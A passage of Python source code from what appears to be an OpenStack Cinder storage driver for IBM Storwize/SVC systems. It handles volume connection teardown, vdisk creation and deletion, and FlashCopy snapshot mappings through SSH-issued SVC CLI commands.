= (_('Could not get FC connection information for the '\n 'host-volume connection. Is the host configured '\n 'properly for FC connections?'))\n LOG.error(msg)\n raise exception.VolumeBackendAPIException(data=msg)\n if not vol_opts['multipath']:\n if preferred_node_entry['WWPN'] in conn_wwpns:\n properties['target_wwn'] = preferred_node_entry['WWPN']\n else:\n properties['target_wwn'] = conn_wwpns[0]\n else:\n properties['target_wwn'] = conn_wwpns\n LOG.debug('leave: initialize_connection:\\n volume: %(vol)s\\n '\n 'connector %(conn)s\\n properties: %(prop)s'\n % {'vol': str(volume),\n 'conn': str(connector),\n 'prop': str(properties)})\n except Exception:\n with excutils.save_and_reraise_exception():\n self.terminate_connection(volume, connector)\n LOG.error(_('initialize_connection: Failed to collect return '\n 'properties for volume %(vol)s and connector '\n '%(conn)s.\\n') % {'vol': str(volume),\n 'conn': str(connector)})\n\n return {'driver_volume_type': type_str, 'data': properties, }\n\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Cleanup after an iSCSI connection has been terminated.\n\n When we clean up a terminated connection between a given connector\n and volume, we:\n 1. Translate the given connector to a host name\n 2. Remove the volume-to-host mapping if it exists\n 3. Delete the host if it has no more mappings (hosts are created\n automatically by this driver when mappings are created)\n \"\"\"\n LOG.debug('enter: terminate_connection: volume %(vol)s with '\n 'connector %(conn)s' % {'vol': volume['id'],\n 'conn': str(connector)})\n\n vdisk_id = self._incorporate_restricted_metadata(volume)\n\n # Ensure that the UID matches and we don't detach the wrong disk,\n # Warn for certain exceptions.\n try:\n self._verify_uid_by_vdisk_id(vdisk_id, volume)\n except paxes_exception.SVCVdiskMismatchException as e:\n # Volume has been deleted and recreated, probably in use by\n # someone else. Do nothing, but warn.\n LOG.warn(_(\"terminate_connection: vdisk mismatch: %(err)s. \"\n \"Performing no operation on the storage controller\")\n % {'err': (_(\"%s\") % e)})\n return\n except paxes_exception.SVCVdiskNotFoundException as e:\n # Volume has been deleted, do nothing, but warn.\n LOG.warn(_(\"terminate_connection: vdisk deleted: %(err)s. \"\n \"Performing no operation on the storage controller\")\n % {'err': (_(\"%s\") % e)})\n return\n except Exception as e:\n with excutils.save_and_reraise_exception():\n LOG.exception(e) # unexpected\n\n host_name = self._get_host_from_connector(connector, vdisk_id,\n is_initconn=False)\n # Verify that _get_host_from_connector returned the host.\n # Is there any situation where this would just be a warning?\n if host_name is None:\n msg = _('Detach volume: failed to lookup host name '\n 'for vdisk ID: %(vdisk)s') % dict(vdisk=vdisk_id)\n LOG.error(msg)\n # don't raise without any exception. Otherwise will receive\n # exception \"exceptions must be old-style classes or derived\n # from BaseException, not NoneType\"\n raise exception.VolumeDriverException(message=msg)\n\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vdisk_id in mapping_data:\n LOG.debug(\"Before rmvdiskhostmap: vdisk_id=%s, host_name\"\n \"=%s, mapping_data=%s\" % (vdisk_id, host_name,\n mapping_data[vdisk_id]))\n ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n vdisk_id]\n try:\n out, err = self._run_ssh(ssh_cmd)\n LOG.debug(\"After rmvdiskhostmap: stdout=%s, stderr=%s\" %\n (out, err))\n except processutils.ProcessExecutionError as e:\n LOG.exception(e)\n err = _(\"%s\") % e\n # check for error case. The non empty 'out' case is already\n # handled by the assert below.\n if err and len(out.strip()) == 0:\n msg = _(\"There was an error when attempting to remove the \"\n \"host disk mappings for volume ID %(vol)s and vdsik \"\n \"ID %(vdisk)s: %(err)s\") %\\\n dict(vol=volume['id'], vdisk=vdisk_id, err=err)\n LOG.error(msg)\n raise exception.VolumeBackendAPIException(data=msg)\n\n # Verify CLI behaviour - no output is returned from rmvdiskhostmap\n self._assert_ssh_return(len(out.strip()) == 0,\n 'terminate_connection', ssh_cmd, out, err)\n del mapping_data[vdisk_id]\n else:\n LOG.warn(_('terminate_connection: No mapping of vdisk '\n '%(vdisk_id)s to host %(host_name)s found') %\n {'vdisk_id': vdisk_id, 'host_name': host_name})\n\n # If this host has no more mappings, delete it\n if not mapping_data:\n LOG.debug(\"No more mappings. Delete host definition on storage \"\n \"backend: %s\" % host_name)\n self._delete_host(host_name)\n LOG.debug(\"Host definition removed.\")\n\n LOG.debug('leave: terminate_connection: volume %(vol)s with '\n 'connector %(conn)s' % {'vol': str(volume),\n 'conn': str(connector)})\n\n \"\"\"=====================================================================\"\"\"\n \"\"\" VOLUMES/SNAPSHOTS \"\"\"\n \"\"\"=====================================================================\"\"\"\n\n def _get_vdisk_attributes(self, vdisk_id):\n \"\"\"Return vdisk attributes, or None if vdisk does not exist\n\n Exception is raised if the information from system can not be\n parsed/matched to a single vdisk.\n \"\"\"\n\n ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_id]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n\n def _get_vdisk_fc_mappings(self, vdisk_id):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n\n ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_id]\n out, err = self._run_ssh(ssh_cmd)\n\n mapping_ids = []\n if (len(out.strip())):\n lines = out.strip().split('\\n')\n mapping_ids = [line.split()[0] for line in lines]\n return mapping_ids\n\n def _get_vdisk_params(self, type_id):\n opts = self._build_default_opts()\n if type_id:\n ctxt = context.get_admin_context()\n volume_type = volume_types.get_volume_type(ctxt, type_id)\n else:\n volume_type = volume_types.get_default_volume_type()\n if volume_type:\n specs = volume_type.get('extra_specs')\n for k, value in specs.iteritems():\n # Get the scope, if using scope format\n key_split = k.split(':')\n if len(key_split) == 1:\n scope = None\n key = key_split[0]\n else:\n scope = key_split[0]\n key = key_split[1]\n\n # We generally do not look at capabilities in the driver, but\n # protocol is a special case where the user asks for a given\n # protocol and we want both the scheduler and the driver to act\n # on the value.\n if scope == 'capabilities' and key == 'storage_protocol':\n scope = None\n key = 'protocol'\n words = value.split()\n self._driver_assert(words and\n len(words) == 2 and\n words[0] == '',\n _('protocol must be specified as '\n '\\' iSCSI\\' or \\' FC\\''))\n del words[0]\n value = words[0]\n\n # Anything keys that the driver should look at should have the\n # 'drivers' scope.\n if scope and scope != \"drivers\":\n continue\n\n if key in opts:\n this_type = type(opts[key]).__name__\n if this_type == 'int':\n value = int(value)\n elif this_type == 'bool':\n value = strutils.bool_from_string(value)\n opts[key] = value\n\n self._check_vdisk_opts(opts)\n return opts\n\n def _get_vdisk_id_from_vdisk_name(self, name):\n \"\"\"Given a vdisk name, query and return the corresponding vdiskid.\n Returns None if there was no vdisk with the specified name.\n \"\"\"\n ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', name]\n attrs = self._execute_command_and_parse_attributes(ssh_cmd)\n if attrs is None:\n return None\n\n return attrs['id']\n\n def _create_vdisk(self, names, size, units, opts):\n \"\"\"Create a new vdisk, returns vdisk ID\n names contains a list of names to use in order of preference. We try\n them all until one works, as a simple way of handling names that are\n invalid or already in use on the storage controller.\n \"\"\"\n\n names_string = ', '.join(names)\n LOG.debug('enter: _create_vdisk: candidate names %s ' %\n names_string)\n\n model_update = None\n params = self._get_vdisk_create_params(opts)\n # Iterate over all names. We break out of the loop as soon as we find\n # a name that works.\n for name in names:\n\n # If an exception is raised here, we remember it in case we need to\n # raise it later.\n last_exception = None\n\n pool = self.configuration.storwize_svc_volpool_name\n ssh_cmd = ['svctask', 'mkvdisk', '-name', name,\n '-mdiskgrp', '\"%s\"' % pool,\n '-iogrp', str(opts['iogrp']), '-size', size,\n '-unit', units] + params\n try:\n out, err = self._run_ssh(ssh_cmd)\n except processutils.ProcessExecutionError as e:\n if (\"CMMVC6035E\" in e.stderr or\n \"CMMVC6527E\" in e.stderr or\n \"CMMVC5738E\" in e.stderr):\n # CMMVC6035E: Name already in use.\n # CMMVC6527E: Invalid name\n # CMMVC5738E: Name too long\n # If we failed with one of the above errors, try again with\n # a different name. However, remember this exception, in\n # case we have run out of names and really do have to raise\n # this exception.\n last_exception = e\n continue\n else:\n # Some other error occurred - raise the exception\n # immediately.\n raise\n\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n\n # If we get here then we don't need to try any more names\n break\n\n # If we came out of the loop with last_exception set, then this is\n # because we ran out of names that we could try, and we really should\n # raise the exception that we remembered.\n if last_exception:\n raise last_exception\n\n # Ensure that the output is as expected\n match_obj = re.search('Virtual Disk, id \\[([0-9]+)\\], '\n 'successfully created', out)\n # Make sure we got a \"successfully created\" message with vdisk id\n self._driver_assert(\n match_obj is not None,\n _('_create_vdisk %(name)s - did not find '\n 'success message in CLI output.\\n '\n 'stdout: %(out)s\\n stderr: %(err)s')\n % {'name': name, 'out': str(out), 'err': str(err)})\n\n vdisk_id = match_obj.group(1)\n\n LOG.debug('leave: _create_vdisk: volume %(name)s ID %(id)s ' %\n {'name': name, 'id': vdisk_id})\n\n return vdisk_id, name\n\n def _make_fc_map(self, source_vdisk_id, target_vdisk_id, full_copy):\n fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source_vdisk_id,\n '-target', target_vdisk_id, '-autodelete']\n if not full_copy:\n fc_map_cli_cmd.extend(['-copyrate', '0'])\n try:\n out, err = self._run_ssh(fc_map_cli_cmd)\n except processutils.ProcessExecutionError as e:\n if \"CMMVC6425E\" in e.stderr:\n # Maximum flashcopy limit reached, can't create more.\n # Raise an SVCException so we can present it nicely to the user\n raise paxes_exception.SVCFCMapsException(self.endpoint_desc)\n else:\n raise\n\n self._driver_assert(\n len(out.strip()),\n _('create FC mapping from %(source)s to %(target)s - '\n 'did not find success message in CLI output.\\n'\n ' stdout: %(out)s\\n stderr: %(err)s\\n')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'out': str(out),\n 'err': str(err)})\n\n # Ensure that the output is as expected\n match_obj = re.search('FlashCopy Mapping, id \\[([0-9]+)\\], '\n 'successfully created', out)\n # Make sure we got a \"successfully created\" message with vdisk id\n self._driver_assert(\n match_obj is not None,\n _('create FC mapping from %(source)s to %(target)s - '\n 'did not find success message in CLI output.\\n'\n ' stdout: %(out)s\\n stderr: %(err)s\\n')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'out': str(out),\n 'err': str(err)})\n\n try:\n fc_map_id = match_obj.group(1)\n self._driver_assert(\n fc_map_id is not None,\n _('create FC mapping from %(source)s to %(target)s - '\n 'did not find mapping id in CLI output.\\n'\n ' stdout: %(out)s\\n stderr: %(err)s\\n')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'out': str(out),\n 'err': str(err)})\n except IndexError:\n self._driver_assert(\n False,\n _('create FC mapping from %(source)s to %(target)s - '\n 'did not find mapping id in CLI output.\\n'\n ' stdout: %(out)s\\n stderr: %(err)s\\n')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'out': str(out),\n 'err': str(err)})\n return fc_map_id\n\n def _call_prepare_fc_map(self, fc_map_id, source_vdisk_id,\n target_vdisk_id):\n try:\n out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except processutils.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n 'from %(source)s to %(target)s.\\n'\n 'stdout: %(out)s\\n stderr: %(err)s')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'out': e.stdout,\n 'err': e.stderr})\n\n def _prepare_fc_map(self, fc_map_id, source_vdisk_id, target_vdisk_id):\n self._call_prepare_fc_map(fc_map_id, source_vdisk_id, target_vdisk_id)\n mapping_ready = False\n wait_time = 5\n # Allow waiting of up to timeout (set as parameter)\n timeout = self.configuration.storwize_svc_flashcopy_timeout\n max_retries = (timeout / wait_time) + 1\n for try_number in range(1, max_retries):\n mapping_attrs = self._get_flashcopy_mapping_attributes(fc_map_id)\n if (mapping_attrs is None or\n 'status' not in mapping_attrs):\n break\n if mapping_attrs['status'] == 'prepared':\n mapping_ready = True\n break\n elif mapping_attrs['status'] == 'stopped':\n self._call_prepare_fc_map(fc_map_id, source_vdisk_id,\n target_vdisk_id)\n elif mapping_attrs['status'] != 'preparing':\n # Unexpected mapping status\n exception_msg = (_('Unexecpted mapping status %(status)s '\n 'for mapping %(id)s. Attributes: '\n '%(attr)s')\n % {'status': mapping_attrs['status'],\n 'id': fc_map_id,\n 'attr': mapping_attrs})\n LOG.error(exception_msg)\n raise exception.VolumeBackendAPIException(data=exception_msg)\n # Need to wait for mapping to be prepared, wait a few seconds\n time.sleep(wait_time)\n\n if not mapping_ready:\n exception_msg = (_('Mapping %(id)s prepare failed to complete '\n 'within the allotted %(to)d seconds timeout. '\n 'Terminating.')\n % {'id': fc_map_id,\n 'to': timeout})\n LOG.error(_('_prepare_fc_map: Failed to start FlashCopy '\n 'from %(source)s to %(target)s with '\n 'exception %(ex)s')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'ex': exception_msg})\n raise exception.InvalidSnapshot(\n reason=_('_prepare_fc_map: %s') % exception_msg)\n\n def _start_fc_map(self, fc_map_id, source_vdisk_id, target_vdisk_id):\n try:\n out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except processutils.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n 'from %(source)s to %(target)s.\\n'\n 'stdout: %(out)s\\n stderr: %(err)s')\n % {'source': source_vdisk_id,\n 'target': target_vdisk_id,\n 'out': e.stdout,\n 'err': e.stderr})\n\n def _run_flashcopy(self, source_vdisk_id, target_vdisk_id, full_copy=True):\n \"\"\"Create a FlashCopy mapping from the source to the target.\"\"\"\n\n LOG.debug('enter: _run_flashcopy: execute FlashCopy from source '\n '%(source)s to target %(target)s' %\n {'source': source_vdisk_id, 'target': target_vdisk_id})\n\n fc_map_id = self._make_fc_map(source_vdisk_id, target_vdisk_id,\n full_copy)\n try:\n self._prepare_fc_map(fc_map_id, source_vdisk_id, target_vdisk_id)\n self._start_fc_map(fc_map_id, source_vdisk_id, target_vdisk_id)\n except Exception:\n with excutils.save_and_reraise_exception():\n self._delete_vdisk(target_vdisk_id, True)\n\n LOG.debug('leave: _run_flashcopy: FlashCopy started from '\n '%(source)s to %(target)s' %\n {'source': source_vdisk_id, 'target': target_vdisk_id})\n\n def _create_copy(self, src_vdisk_id, tgt_vdisk_names, full_copy, opts,\n src_id, from_vol):\n \"\"\"Create a new snapshot using FlashCopy.\"\"\"\n\n tgt_vdisk_name_string = ', '.join(tgt_vdisk_names)\n LOG.debug('enter: _create_copy: snapshot with possible names '\n '%(names)s from vdisk %(src_vdisk)s' %\n {'names': tgt_vdisk_name_string,\n 'src_vdisk': src_vdisk_id})\n\n src_vdisk_attributes = self._get_vdisk_attributes(src_vdisk_id)\n if src_vdisk_attributes is None:\n exception_msg = (\n _('_create_copy: Source vdisk %s does not exist')\n % src_vdisk_id)\n LOG.error(exception_msg)\n if from_vol:\n raise paxes_exception.SVCVdiskNotFoundException(\n self.endpoint_desc, src_id, vdisk_id=src_vdisk_id)\n else:\n raise exception.SnapshotNotFound(exception_msg,\n snapshot_id=src_id)\n\n self._driver_assert(\n 'capacity' in src_vdisk_attributes,\n _('_create_copy: cannot get source vdisk '\n '%(src)s capacity from vdisk attributes '\n '%(attr)s')\n % {'src': src_vdisk_id,\n 'attr': src_vdisk_attributes})\n\n src_vdisk_size = src_vdisk_attributes['capacity']\n tgt_vdisk_id, tgt_vdisk_name = self._create_vdisk(tgt_vdisk_names,\n src_vdisk_size, 'b',\n opts)\n\n # Run the flashcopy. If we fail to initiate (e.g. max out the number\n # of concurrent flashcopies, clean up.\n try:\n self._run_flashcopy(src_vdisk_id, tgt_vdisk_id, full_copy)\n except Exception as e:\n with excutils.save_and_reraise_exception():\n self._delete_vdisk(tgt_vdisk_id, True)\n\n LOG.debug('leave: _create_copy: snapshot vdisk %(tgt_vdisk)s '\n 'from vdisk %(src_vdisk)s' %\n {'tgt_vdisk': tgt_vdisk_id, 'src_vdisk': src_vdisk_id})\n\n return tgt_vdisk_id, tgt_vdisk_name\n\n def _get_flashcopy_mapping_attributes(self, fc_map_id):\n LOG.debug('enter: _get_flashcopy_mapping_attributes: mapping %s'\n % fc_map_id)\n\n fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-delim', '!', fc_map_id]\n out, err = self._run_ssh(fc_ls_map_cmd)\n\n # Get list of FlashCopy mappings\n # We expect zero or one line if mapping does not exist,\n # two lines if it does exist, otherwise error\n lines = out.strip().split('\\n')\n self._assert_ssh_return(lines[0] == (\"id!\" + fc_map_id),\n '_get_flashcopy_mapping_attributes',\n fc_ls_map_cmd, out, err)\n\n # since lambda function doesn't allow multiple statements,\n # create a helper function for map().\n def _helper_func(x):\n res = x.split('!')\n return (res[0], res[1])\n\n fcmaps = map(_helper_func, lines)\n attributes = dict(fcmaps)\n\n LOG.debug('leave: _get_flashcopy_mapping_attributes: mapping '\n '%(fc_map_id)s, attributes %(attributes)s' %\n {'fc_map_id': fc_map_id, 'attributes': attributes})\n\n return attributes\n\n def _is_vdisk_defined(self, vdisk_id):\n \"\"\"Check if vdisk is defined.\"\"\"\n LOG.debug('enter: _is_vdisk_defined: vdisk %s ' % vdisk_id)\n vdisk_attributes = self._get_vdisk_attributes(vdisk_id)\n LOG.debug('leave: _is_vdisk_defined: vdisk %(vdisk)s with %(str)s '\n % {'vdisk': vdisk_id,\n 'str': vdisk_attributes is not None})\n if vdisk_attributes is None:\n return False\n else:\n return True\n\n def _ensure_vdisk_no_fc_mappings(self, vdisk_id, allow_snaps=True):\n \"\"\"\n Call looping function with FixedIntervalLoopingCall so that it can\n loop as long as necessary without starving other threads.\n \"\"\"\n\n timer = loopingcall.FixedIntervalLoopingCall(\n self._check_vdisk_fc_mappings, vdisk_id, allow_snaps\n )\n # Create a timer greenthread. The default volume service heart beat\n # is every 10 seconds. The flashcopy usually takes more than 2 hours\n # to finish. Don't set interval shorter than the heartbeat, otherwise\n # volume service heartbeat will not be serviced. The volume service\n # is running frmo greenpool.\n # The interval should be longer than the time takes to check\n # all the fcmaps and service heartbeat interval(10s). flashcopy\n # could run for hours. Do not check the fcmap status too frequently.\n ret = timer.start(interval=CONF.storwize_fcmap_poll_interval).wait()\n timer.stop()\n return ret\n\n def _check_vdisk_fc_mappings(self, vdisk_id, allow_snaps=True):\n # Ensure vdisk has no FlashCopy mappings\n mapping_ids = self._get_vdisk_fc_mappings(vdisk_id)\n wait_for_copy = False\n LOG.debug(\"_check_vdisk_fc_mappings\")\n for map_id in mapping_ids:\n attrs = self._get_flashcopy_mapping_attributes(map_id)\n if not attrs:\n continue\n source_id = attrs['source_vdisk_id']\n target_id = attrs['target_vdisk_id']\n copy_rate = attrs['copy_rate']\n status = attrs['status']\n\n map_descriptor = _(\"%(map_id)s [vdisk %(src)s to vdisk %(tgt)s]\") \\\n % {'map_id': map_id,\n 'src': source_id,\n 'tgt': target_id}\n\n if copy_rate == '0':\n # Case #2: A vdisk that has snapshots\n if source_id == vdisk_id:\n if not allow_snaps:\n # fcmap exists due to snapshot. Return False\n # to waiter.\n raise loopingcall.LoopingCallDone(retvalue=False)\n new_copy_rate = '50'\n LOG.info(_(\"To delete vdisk %(vdisk_id)s, increasing \"\n \"copyrate of flashcopy mapping %(map)s from 0 \"\n \"to %(copyrate)s and waiting for completion.\")\n % {'vdisk_id': vdisk_id,\n 'map': map_id,\n 'copyrate': new_copy_rate\n })\n\n ssh_cmd = ['svctask', 'chfcmap', '-copyrate',\n new_copy_rate, '-autodelete', 'on', map_id]\n self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n else:\n msg = (_('Vdisk %(id)s not involved in '\n 'mapping %(src)s -> %(tgt)s') %\n {'id': vdisk_id, 'src': source_id,\n 'tgt': target_id})\n self._driver_assert(target_id == vdisk_id, msg)\n if status in ['copying', 'prepared']:\n self._run_ssh(['svctask', 'stopfcmap', map_id])\n LOG.info(_(\"To allow deletion of vdisk %(vdisk_id)s, \"\n \"flashcopy mapping %(map)s with status \"\n \"'%(status)s' was removed.\")\n % {'vdisk_id': vdisk_id,\n 'map': map_descriptor,\n 'status': status})\n wait_for_copy = True\n elif status in ['stopping', 'preparing']:\n LOG.info(_(\"To allow deletion of vdisk %(vdisk_id)s, \"\n \"waiting for flashcopy mapping %(map)s \"\n \"with status '%(status)s' to complete.\")\n % {'vdisk_id': vdisk_id,\n 'map': map_descriptor,\n 'status': status})\n wait_for_copy = True\n else:\n self._run_ssh(['svctask', 'rmfcmap', '-force',\n map_id])\n LOG.info(_(\"To allow deletion of vdisk %(vdisk_id)s, \"\n \"forcing removal of flashcopy mapping \"\n \"%(map)s with status '%(status)s'\")\n % {'vdisk_id': vdisk_id,\n 'map': map_descriptor,\n 'status': status})\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n self._run_ssh(['svctask', 'stopfcmap', map_id])\n self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n LOG.info(_(\"To allow deletion of vdisk %(vdisk_id)s, \"\n \"prepared flashcopy mapping %(map)s was \"\n \"removed.\")\n % {'vdisk_id': vdisk_id,\n 'map': map_descriptor})\n elif status == 'idle_or_copied':\n # Prepare failed\n self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n LOG.info(_(\"To delete vdisk %(vdisk_id)s, flashcopy \"\n \"mapping %(map)s with status 'idle_or_copied' \"\n \"was removed.\")\n % {'vdisk_id': vdisk_id,\n 'map': map_descriptor})\n else:\n LOG.info(_(\"To delete vdisk %(vdisk_id)s, waiting for \"\n \"completion of flashcopy mapping %(map)s, \"\n \"which is currently %(progress)s%% complete \"\n \"and has status '%(status)s'.\")\n % {'vdisk_id': vdisk_id,\n 'map': map_descriptor,\n 'progress': attrs['progress'],\n 'status': status})\n # process fcmap to speed up vdisk cleanup\n wait_for_copy = self._prepare_fcmap_for_deletion(map_id,\n attrs)\n\n if not wait_for_copy or not len(mapping_ids):\n raise loopingcall.LoopingCallDone()\n else:\n # This will have _ensure_vdisk_no_fc_mappings() timer\n # to yeild CPU.to give other threads from greenpool a chance\n # to run.\n eventlet.greenthread.sleep(0.01)\n\n def _prepare_fcmap_for_deletion(self, map_id, map_attr):\n \"\"\" Helper function to process a fcmap to reduce the wait\n time on the dependent_mappings. This function should only\n be called from the clone path.\n :param map_id: The flashcopy mapping id to handle.\n :map_attr: The lsfcmap output that describes the fcmap attribute\n :return: True if caller needs to wait for fcmap progress\n False if fcmap has been successfully stopped and removed\n \"\"\"\n copyclean_rate = CONF.storwize_fcmap_delete_copy_clean_rate\n status = map_attr['status']\n copy_progress = map_attr['progress']\n copy_rate = map_attr['copy_rate']\n clean_rate = map_attr['clean_rate']\n dependent_mappings = map_attr['dependent_mappings']\n autodelete = True if map_attr['autodelete'] == 'on' else False\n\n if int(copy_rate) == 0:\n # this is the vdisk snapshot, shouldn't calling this\n # function. Return True.\n LOG.warn(_(\"Flashcopy mapping copy rate is 0. Copy is not\"\n \" in progress. Return to caller.\"))\n return True\n\n if int(dependent_mappings) > 0:\n if status == 'copying':\n if int(copy_progress) < FCMAP_COPY_COMPLETE_PCT:\n if int(copy_rate) < int(copyclean_rate):\n self._run_ssh(['svctask', 'chfcmap',\n '-copyrate',\n copyclean_rate,\n '-cleanrate',\n copyclean_rate,\n '-autodelete', 'on', map_id])\n return True\n else:\n if int(clean_rate) < int(copyclean_rate):\n # speed up clean up if possible and wait\n self._run_ssh(['svctask', 'chfcmap',\n '-cleanrate',\n copyclean_rate,\n '-autodelete', 'on', map_id])\n # start transition to stop state with proper clean rate\n self._run_ssh(['svctask', 'stopfcmap', map_id])\n return True\n elif status == 'stopping':\n if int(clean_rate) < int(copyclean_rate) or not autodelete:\n self._run_ssh(['svctask', 'chfcmap',\n '-cleanrate',\n copyclean_rate,\n '-autodelete', 'on', map_id])\n # wait for fcmap to be cleaned up and deleted(by autodelete)\n return True\n else:\n if status in ['preparing', 'stopping']:\n # wait to transit to either prepared or stopped\n return True\n # fcmap has no dependencies, just remove it.\n elif status in ['copying', 'prepared']:\n self._run_ssh(['svctask', 'stopfcmap', '-force', map_id])\n self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n return False\n\n def _delete_vdisk(self, vdisk_id, force):\n \"\"\"Deletes existing vdisks.\n\n It is very important to properly take care of mappings before deleting\n the disk:\n 1. If no mappings, then it was a vdisk, and can be deleted\n 2. If it is the source of a flashcopy mapping and copy_rate is 0, then\n it is a vdisk that has a snapshot. If the force flag is set,\n delete the mapping and the vdisk, otherwise set the mapping to\n copy and wait (this will allow users to delete vdisks that have\n snapshots if/when the upper layers allow it).\n 3. If it is the target of a mapping and copy_rate is 0, it is a\n snapshot, and we should properly stop the mapping and delete.\n 4. If it is the source/target of a mapping and copy_rate is not 0, it\n is a clone or vdisk created from a snapshot. We wait for the copy\n to complete (the mapping will be autodeleted) and then delete the\n vdisk.\n\n \"\"\"\n\n LOG.debug('enter: _delete_vdisk: vdisk %s' % vdisk_id)\n\n # Try to delete volume only if found on the storage\n vdisk_defined = self._is_vdisk_defined(vdisk_id)\n if not vdisk_defined:\n LOG.info(_('warning: Tried to delete vdisk %s but it does not '\n 'exist.') % vdisk_id)\n return\n\n self._ensure_vdisk_no_fc_mappings(vdisk_id)\n\n LOG.info(_(\"Removing vdisk %(vdisk_id)s\")\n % {'vdisk_id': vdisk_id})\n\n ssh_cmd = ['svctask', 'rmvdisk', '-force', vdisk_id]\n if not force:\n ssh_cmd.remove('-force')\n try:\n out, err = self._run_ssh(ssh_cmd)\n except Exception as e:\n with excutils.save_and_reraise_exception():\n # Dump the list of hosts currently using the vdisk\n ssh_cmd = ['lsvdiskhostmap', '-delim', ',', vdisk_id]\n out, err = self._run_ssh(ssh_cmd, attempts=2)\n LOG.info(_(\"Hosts mapped to vdisk %(vdisk)s:\\n%(out)s\") %\n {'vdisk': vdisk_id, 'out': out})\n\n # Dump the complete list of flashcopy mappings\n ssh_cmd = ['lsfcmap']\n out, err = self._run_ssh(ssh_cmd, attempts=2)\n LOG.info(_(\"Existing FlashCopy mappings:\\n%(out)s\") %\n {'out': out})\n\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n ('_delete_vdisk %(id)s')\n % {'id': vdisk_id},\n ssh_cmd, out, err)\n LOG.debug('leave: _delete_vdisk: vdisk %s' % vdisk_id)\n\n def create_volume(self, volume):\n volume_type_id = volume.get('volume_type_id')\n if not volume_type_id:\n volume_type = volume_types.get_default_volume_type()\n if volume_type:\n volume_type_id = volume_type['id']\n volume['volume_type_id'] = volume_type_id\n #Update db to preserve volume_type\n LOG.info(_('adding volume_type_id to volume=%s') % volume)\n self.db.volume_update(self._context, volume['id'],\n {'volume_type_id': volume_type_id})\n opts = self._get_vdisk_params(volume_type_id)\n\n candidate_names = self._generate_candidate_names(volume)\n vdisk_id, name = self._create_vdisk(candidate_names,\n str(volume['size']), 'gb', opts)\n # Place the vdisk ID, name and UID into restricted metadata so that it\n # can be viewed by users and retrieved by this driver when it\n # subsequently performs operations on this volume.\n vdisk = self._get_vdisk_attributes(vdisk_id)\n self._update_restricted_metadata(volume['id'], vdisk)\n\n return None\n\n def delete_volume(self, volume):\n vdisk_id = self._incorporate_restricted_metadata(volume)\n\n # If there is no vdisk_id assigned then we probably failed during\n # creation. Emit a message but do nothing.\n if vdisk_id is None:\n LOG.warn(_(\"Starting deletion of volume %(volume_id)s. There is \"\n \"no associated vdisk, so no operation will be \"\n \"performed on the storage controller.\") %\n {'volume_id': volume['id']})\n return\n\n LOG.info(_(\"Starting deletion of volume %(volume_id)s, backed by \"\n \"vdisk %(vdisk_id)s\") %\n {'volume_id': volume['id'],\n 'vdisk_id': vdisk_id})\n\n # Ensure that the UID matches and we don't delete the wrong disk,\n # raises exceptions if the UID doesn't match.\n try:\n self._verify_uid_by_vdisk_id(vdisk_id, volume)\n except paxes_exception.SVCVdiskMismatchException as e:\n # Volume has been deleted and recreated, probably in use by\n # someone else. Do nothing, but warn.\n LOG.warn(_(\"delete_volume: vdisk mismatch: %(err)s. \"\n \"Performing no operation on the storage controller\")\n % {'err': (_(\"%s\") % e)})\n return\n except paxes_exception.SVCVdiskNotFoundException as e:\n # Volume has been deleted, do nothing, but warn.\n LOG.warn(_(\"delete_volume: vdisk deleted: %(err)s. \"\n \"Performing no operation on the storage controller\")\n % {'err': (_(\"%s\") % e)})\n return\n\n self._delete_vdisk(vdisk_id, False)\n\n return None\n\n def create_snapshot(self, snapshot):\n source_vol = self.db.volume_get(self._context, snapshot['volume_id'])\n src_vdisk_id = self._incorporate_restricted_metadata(source_vol)\n\n opts = self._get_vdisk_params(source_vol['volume_type_id'])\n\n tgt_vdisk_names = [snapshot['name']]\n vdisk_id = self._create_copy(src_vdisk_id=src_vdisk_id,\n tgt_vdisk_names=tgt_vdisk_names,\n full_copy=False,\n opts=opts,\n src_id=snapshot['volume_id'],\n from_vol=True)\n\n return None\n\n def delete_snapshot(self, snapshot):\n vdisk_id = self._get_vdisk_id_from_vdisk_name(snapshot['name'])\n\n # If the disk didn't exist for some reason, just return without trying\n # to initiate deletion.\n if vdisk_id is None:\n return\n\n self._delete_vdisk(vdisk_id, False)\n\n def create_volume_from_snapshot(self, volume, snapshot):\n if volume['size'] != snapshot['volume_size']:\n exception_message = (_('create_volume_from_snapshot: '\n 'Source and destination size differ.'))\n raise exception.VolumeBackendAPIException(data=exception_message)\n\n volume_type_id = volume.get('volume_type_id')\n if not volume_type_id:\n volume_type = volume_types.get_default_volume_type()\n if volume_type:\n volume_type_id = volume_type['id']\n volume['volume_type_id'] = volume_type_id\n #Update db to preserve volume_type\n LOG.info(_('adding 